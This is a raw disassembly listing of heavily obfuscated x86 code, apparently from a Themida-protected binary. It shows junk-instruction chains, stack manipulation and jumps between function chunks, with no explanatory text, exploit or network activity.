; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_56141E: ; CODE XREF: sub_5684A6-3CF7j
mov esi, edi
mov ecx, esi
pop esi
pop edi
push ecx
jmp loc_5652F3
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56142A: ; CODE XREF: sub_561F05+15j
add esi, 5E923B80h
jmp loc_566B2C
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_561435: ; CODE XREF: sub_573876-8949j
add [esp+arg_4], ebx
pop ebx
sub [esp-4+arg_4], eax
sub [esp-4+arg_4], 147E6C73h
sub esp, 4
mov [esp+0], ebx
push edi
push 6FCD1673h
mov edi, [esp+8+var_8]
add esp, 4
jmp loc_56B235
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_561460: ; CODE XREF: sub_56241E+126D0j
neg bx
shl bx, 4
xor bx, 31D5h
jmp loc_56A7AD
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
loc_561471: ; CODE XREF: Themida_:0056B610j
mov ebx, 0FFD00A9h
jmp loc_5626C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56147B: ; CODE XREF: sub_561541-910j
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp+10h+var_10]
jmp loc_5617F8
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_561490: ; CODE XREF: sub_56D855+5j
push esp
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop eax
push ecx
mov ecx, esp
push eax
push edx
push 5DBF6661h
pop edx
neg edx
add edx, 62C67F02h
sub edx, 0C48D9C7Ch
jmp loc_56E220
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_5614B6: ; CODE XREF: sub_566117+DD9Aj
mov esp, [esp+4+var_4]
add esp, 4
jmp loc_56CD05
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5614C4: ; CODE XREF: sub_570732+3B73j
push 436Ch
mov [esp+4+var_4], ebp
jmp loc_56B46E
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_5614D1: ; CODE XREF: sub_572641-B7E1j
add al, 0Fh
sub al, bl
jmp loc_56DAC8
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_5614DA: ; CODE XREF: sub_5638E4+7CB8j
add ebx, 7D5E0DA3h
push ebp
mov ebp, 66B24CE7h
xor ebx, ebp
pop ebp
jmp loc_564E1C
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_5614EE: ; CODE XREF: sub_569D5F+9j
mov bh, 86h
add bh, cl
jmp loc_56AA41
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_5614F7: ; CODE XREF: sub_571890-1952j
pop [esp+0Ch+var_C]
push eax
mov eax, 4
add [esp+0Ch+var_8], eax
pop eax
jmp loc_56F4DE
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56150A: ; CODE XREF: sub_56638C+9j
mov [esp+4+var_4], esi
push esp
mov esi, [esp+8+var_8]
push 49h
mov [esp+0Ch+var_C], edx
jmp loc_56266F
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56151E: ; CODE XREF: sub_5648C6+87C6j
mov [esp+4+var_4], ebp
push dword ptr [esp+4]
mov ebp, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
mov esp, [esp+0]
movsx ecx, al
sub esp, 4
mov [esp+0], edi
push esp
pop edi
jmp loc_56420A
; END OF FUNCTION CHUNK FOR sub_5648C6
; =============== S U B R O U T I N E =======================================
sub_561541 proc near ; CODE XREF: sub_56D4B8+6BADj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056018C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005601E6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00560C2D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561217 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00561332 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056147B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005617F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563066 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563888 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056554D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567057 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567147 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567173 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00567806 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567FA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568011 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00568063 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568C62 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056B4FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056BE87 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056C133 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CE6D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056DBEF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056E8DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056FAF7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057163E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571D6B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00571F45 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005722B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572915 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00572EE4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573735 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0057412F SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 74C95DCBh
sub ecx, 64245707h
jmp loc_568011
sub_561541 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_561557: ; CODE XREF: sub_5620B7+333Aj
mov [esp+0], edx
push eax
jmp loc_560156
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD6F
loc_561560: ; CODE XREF: sub_56FD6F-2CFAj
pop eax
jmp loc_56968C
; END OF FUNCTION CHUNK FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_561566: ; CODE XREF: sub_574656-C4AEj
add edx, ebx
pop ebx
sub edx, 4
xchg edx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
mov [esp+0], ebx
push esp
pop ebx
jmp loc_56B25B
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56157F: ; CODE XREF: sub_5678CB+2BB6j
sub ah, 0EFh
jmp loc_57548D
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_561587: ; CODE XREF: sub_563DCB+29F4j
mov bl, al
jmp loc_562F5F
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56158E: ; CODE XREF: sub_56D855-8084j
mov esi, 0FB85D4F7h
push ecx
mov ecx, esi
mov edi, ecx
pop ecx
pop esi
add ebx, edi
pop edi
add eax, ebx
jmp loc_56CE3A
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_5615A4: ; CODE XREF: sub_5605BC+9687j
xchg edx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 5B65h
mov [esp+10h+var_10], edx
jmp loc_5700F3
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBB0
loc_5615B7: ; CODE XREF: sub_56DBB0+Ej
add esp, 4
sub ebx, 6B3E5282h
sub ebx, edx
push edi
jmp loc_56FE4D
; END OF FUNCTION CHUNK FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_5615C8: ; CODE XREF: sub_567C58+BA42j
add esi, 4
add esi, 4
xchg esi, [esp+14h+var_14]
pop esp
xor edi, 15B37067h
push 17F0h
mov [esp+14h+var_14], eax
mov eax, 190670CFh
xor edi, eax
push [esp+14h+var_14]
jmp loc_56ADEF
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
loc_5615F2: ; CODE XREF: Themida_:0056FACCj
xor ebp, 5A683AF2h
sub dword ptr [esp+4], 16ED07E4h
add [esp+4], ebp
add dword ptr [esp+4], 16ED07E4h
pop ebp
mov eax, [esp]
add esp, 4
jmp loc_5609F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_561618: ; CODE XREF: sub_568CD2-162Aj
push 351343D9h
pop eax
jmp loc_561CCE
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_561623: ; CODE XREF: sub_5745B5-F132j
add al, 17h
mov edx, [esp+4+var_4]
add esp, 4
add al, bl
push ebx
push eax
mov ah, 97h
push edx
mov dh, ah
push ecx
jmp loc_56F244
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56163D: ; CODE XREF: sub_56D855+4973j
pop eax
add ebp, 4
xchg ebp, [esp+10h+var_10]
jmp loc_56C910
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_56164C: ; CODE XREF: sub_575420-108EEj
mov dl, cl
pop ecx
mov eax, [esp+10h+var_10]
add esp, 4
jmp loc_564B65
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_56165D: ; CODE XREF: sub_564020-BD1j
push edi
mov edi, 7ED81C06h
dec edi
jmp loc_567DFB
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
loc_561669: ; CODE XREF: Themida_:0056E69Dj
pop edx
xchg ebx, [esp]
jmp loc_571E51
; ---------------------------------------------------------------------------
loc_561672: ; CODE XREF: Themida_:00571A35j
push 4CBB4D33h
pop eax
or eax, 78483191h
not eax
jmp loc_56EC27
; ---------------------------------------------------------------------------
loc_561684: ; CODE XREF: Themida_:00570B25j
push 43FAh
mov [esp], eax
mov eax, 4
add edx, eax
mov eax, [esp]
add esp, 4
jmp loc_565F0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56169E: ; CODE XREF: sub_56638C-16D1j
mov [esp+0Ch+var_C], ebp
mov ebp, 2
add esi, ebp
jmp loc_569366
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5616AD: ; CODE XREF: sub_569193+5576j
xor edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 397Fh
jmp loc_56ABFA
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_5616BD: ; CODE XREF: sub_5734A7-190Dj
add edx, 561B375Ch
and edx, 584C4D6Ch
xor edx, 463B12A5h
add edx, 30CE91E1h
sub edi, edx
jmp loc_572E0B
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5616DC: ; CODE XREF: sub_572DD7-111A5j
sub esi, 4
xchg esi, [esp+8+var_8]
jmp loc_572C8A
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5616EA: ; CODE XREF: sub_56CC46-1692j
sub ecx, ebx
pop ebx
jmp loc_570530
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5616F2: ; CODE XREF: sub_574A21-B217j
pop edi
sub edx, 48A1E868h
xchg ecx, edx
push ecx
not [esp+8+var_8]
pop ecx
xchg ecx, edx
push eax
mov eax, 0FFFFFFFFh
add edx, eax
pop eax
inc edx
and edx, 0F1C329Fh
push 0BF5h
mov [esp+8+var_8], ecx
push ebx
jmp loc_56E730
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_561720: ; CODE XREF: sub_568E5C-36DAj
mov edx, 331F51D7h
sub edx, 73FA2B8Ah
dec edx
neg edx
jmp loc_56A9BD
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_561733: ; CODE XREF: sub_56D359-8D05j
add [esp+14h+var_C], edi
mov edi, [esp+14h+var_14]
jmp loc_567710
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56173F: ; CODE XREF: sub_56DA43+993j
xor ebp, edi
jmp loc_569FC0
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_561746: ; CODE XREF: sub_560CF1+11DD0j
mov [esp+8+var_8], edi
mov eax, [esp+8+var_8]
push edx
push esp
pop edx
jmp loc_5619AF
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
loc_561754: ; CODE XREF: Themida_:0056DE53j
mov ebx, [esp]
jmp loc_570BBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_56175C: ; CODE XREF: sub_563819+107A2j
add ebx, 4
jmp sub_574D8F
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_561767: ; CODE XREF: sub_56CC46+77A0j
and ebp, 6F1910CAh
push edx
jmp loc_560A84
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_561773: ; CODE XREF: sub_5605BC+6A58j
neg ecx
jmp loc_572D1C
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56177A: ; CODE XREF: sub_5643EB+35A5j
mov edx, 5EF860C2h
jmp loc_570BD7
; END OF FUNCTION CHUNK FOR sub_5643EB
; =============== S U B R O U T I N E =======================================
sub_561784 proc near ; DATA XREF: Themida_:0055FDD0o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056E4B5 SIZE 00000008 BYTES
push 79A1h
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop [esp+8+var_8]
push ecx
mov ecx, 4
add [esp+8+var_4], ecx
pop ecx
pop [esp+4+var_4]
sub esp, 4
jmp loc_56E4B5
sub_561784 endp
; ---------------------------------------------------------------------------
loc_5617BF: ; CODE XREF: Themida_:005743F6j
pop esp
rol byte ptr [esp], cl
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_5617C9: ; CODE XREF: sub_5671E1+C64Dj
add edi, 2E0F2F9Eh
jmp loc_573EE4
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5617D4: ; CODE XREF: sub_564D26+AEC0j
add edx, 4F381B7Dh
pop edi
jmp loc_567294
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5617E0: ; CODE XREF: sub_5685B2-4C28j
push eax
mov ah, 14h
or dl, ah
pop eax
push 6D00h
mov [esp+8+var_8], ebx
mov bh, 0D4h
push ecx
mov cl, 4Fh
jmp loc_5647D4
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_5617F8: ; CODE XREF: sub_561541-B6j
add esp, 4
xchg eax, [esp+0Ch+var_C]
jmp loc_56E8DE
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_561806: ; CODE XREF: sub_571C93-2BDFj
push 1474h
jmp loc_565945
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_561810: ; CODE XREF: sub_566AF9+2630j
pop edx
push esi
mov esi, 3FFF3F8h
sub edx, esi
pop esi
add ebp, edx
push [esp+8+var_8]
pop edx
push edx
jmp loc_564259
; END OF FUNCTION CHUNK FOR sub_566AF9
; =============== S U B R O U T I N E =======================================
sub_561826 proc near ; CODE XREF: sub_56F029+22j
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_2 = word ptr 6
; FUNCTION CHUNK AT 0056550B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005656AC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056787E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E743 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FE5F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005749A3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00575465 SIZE 00000005 BYTES
sub esp, 2
mov [esp+4+var_4], ax
mov bx, [esp+4+var_4]
add esp, 2
pop ax
xchg ax, cx
not cx
jmp loc_56787E
sub_561826 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_561840: ; CODE XREF: Themida_:00571E08j
sub ebx, 311227DDh
sub ebx, 54D950A5h
sub ebx, edi
push eax
jmp loc_5622AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716A0
loc_561854: ; CODE XREF: sub_5716A0+1j
mov ebx, 753D2399h
xor edx, ebx
pop ebx
xor edx, eax
push dword ptr [esp+0]
pop eax
push ebp
push esp
pop ebp
add ebp, 4
push esi
mov esi, 2FCC5691h
sub esi, 21EE09F5h
or esi, 1F290E8Bh
xor esi, 1FFF4E9Bh
add ebp, esi
pop esi
xchg ebp, [esp+4+var_4]
pop esp
jmp sub_572669
; END OF FUNCTION CHUNK FOR sub_5716A0
; ---------------------------------------------------------------------------
loc_56188F: ; CODE XREF: Themida_:00570AEBj
mov edx, 203E7D94h
push esi
mov esi, 3C1355h
jmp loc_56B416
; =============== S U B R O U T I N E =======================================
sub_56189F proc near ; CODE XREF: sub_575328-13A4j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005619D9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005655A8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A719 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056B2AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D720 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005703A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570652 SIZE 00000005 BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 5BFB3B1Eh
jmp loc_56B2AD
sub_56189F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_5618B2: ; CODE XREF: sub_574DC1-E759j
pop ebp
sub eax, 37E73747h
jmp sub_56B71F
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_5618BD: ; CODE XREF: sub_56AA2B-A3FAj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5618C2: ; CODE XREF: sub_56AB5E-4AFFj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_5618C7: ; CODE XREF: sub_56D464-CBCDj
mov eax, [esp+8+var_8]
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
add ebx, 4
xor ebx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ebx
xor ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
or [edi+1Ch], eax
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_573924
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5618F3: ; CODE XREF: sub_5713A7-A79Bj
mov ecx, 41AB7105h
neg ecx
neg ecx
shr ecx, 7
sub ecx, 0DACE3AB8h
push esi
mov esi, 41364FF5h
jmp loc_5720DA
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_561910: ; CODE XREF: sub_572075-BB37j
xor [esp+0], edi
xor edi, [esp+0]
mov esp, [esp+0]
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_562986
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_561927: ; CODE XREF: sub_567CFE-7832j
add ecx, 3D2682D3h
xor ebp, ecx
pop ecx
jmp loc_572352
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_561935: ; CODE XREF: sub_5715F0-E0A0j
add ebx, 4
add ebx, 2
push ebx
jmp loc_56255D
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
loc_561947: ; CODE XREF: Themida_:00575428j
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_570BE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_561968: ; CODE XREF: sub_57146D-6775j
add bl, dl
pop dx
push 18E3h
mov [esp+6+var_8+2], edx
jmp loc_56BC81
; END OF FUNCTION CHUNK FOR sub_57146D
; =============== S U B R O U T I N E =======================================
sub_561979 proc near ; CODE XREF: sub_560CF1+CC4j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00563160 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563850 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B1E4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C96D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FB34 SIZE 0000000F BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 4
add edx, ecx
pop ecx
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
pop esp
mov edi, [esp-4+arg_0]
add esp, 4
push 7CE5h
mov [esp-4+arg_0], edx
push 69C6h
mov [esp+0], esi
jmp loc_56C96D
sub_561979 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_5619AF: ; CODE XREF: sub_560CF1+A5Ej
add edx, 4
jmp sub_561979
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5619BA: ; CODE XREF: sub_56B06D+45BFj
pop edx
push 7784h
mov [esp+0], ebp
sub esp, 4
push esp
jmp loc_564185
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
loc_5619CC: ; CODE XREF: Themida_:0056C812j
add esp, 4
pop dword ptr [eax]
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_5619D9: ; CODE XREF: sub_56189F+BE9Cj
sub edi, 4276CE19h
add eax, edi
pop edi
push 384Dh
mov [esp+4+var_4], eax
jmp loc_5655A8
; END OF FUNCTION CHUNK FOR sub_56189F
; =============== S U B R O U T I N E =======================================
sub_5619EF proc near ; DATA XREF: Themida_:0055FD68o
; FUNCTION CHUNK AT 005714DB SIZE 00000005 BYTES
mov sp, [esp+0]
jmp loc_5714DB
sub_5619EF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5619F8: ; CODE XREF: sub_563A7F+62FEj
push ax
jmp loc_56CEAD
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5619FF: ; CODE XREF: sub_56628B+BFE0j
mov [esp+4+var_4], ebp
mov ebp, 0A9333C7h
shr ebp, 7
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 62E41D66h
jmp loc_562816
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_561A1A: ; CODE XREF: sub_5653AD+BC51j
mov eax, edx
pop edx
add eax, ebp
pop ebp
add ebx, 71343170h
jmp loc_574128
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_561A2B: ; CODE XREF: sub_5678CB-69CDj
push edx
mov dl, 0Dh
jmp loc_566E1F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_561A33: ; CODE XREF: sub_56A7FB+9E56j
mov [esp+8+var_8], ebx
mov bl, 0F5h
mov al, bl
pop ebx
jmp loc_56FA76
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
loc_561A40: ; CODE XREF: Themida_:0057032Bj
pop esp
jmp loc_5630AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_561A46: ; CODE XREF: sub_56D3AF+1BFCj
mov [esp+0Ch+var_C], edx
mov edx, 3A6D035Dh
sub esi, edx
mov edx, [esp+0Ch+var_C]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+10h+var_10]
pop esp
jmp loc_57160C
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
loc_561A6B: ; CODE XREF: Themida_:00570EF1j
add esi, ebp
pop ebp
not esi
xor esi, 0FA2618A5h
sub esi, 78210541h
shr esi, 2
or esi, 65DA1A8Ah
push eax
mov eax, 677159CBh
add esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5735EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_561A9B: ; CODE XREF: sub_567CFE+A66Aj
add ebp, eax
pop eax
xor ebp, 27FA6B51h
mov ebx, ebp
pop ebp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_561AAC: ; CODE XREF: sub_565849+C620j
pop esp
mov [esp+4+var_4], ebx
mov ebx, esp
jmp loc_572826
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_561AB7: ; CODE XREF: sub_5685B2-4DD2j
pop ebp
xor ebx, edx
pop edx
jmp loc_56B336
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
loc_561AC0: ; CODE XREF: Themida_:0056F88Ej
push esp
pop eax
push edx
jmp loc_57031B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_561AC8: ; CODE XREF: sub_570E81+4487j
mov ecx, 4BC4D915h
add esi, ecx
pop ecx
and edi, esi
pop esi
jmp loc_57081E
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_561AD8: ; CODE XREF: sub_571890-23ADj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
jmp loc_574EE8
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
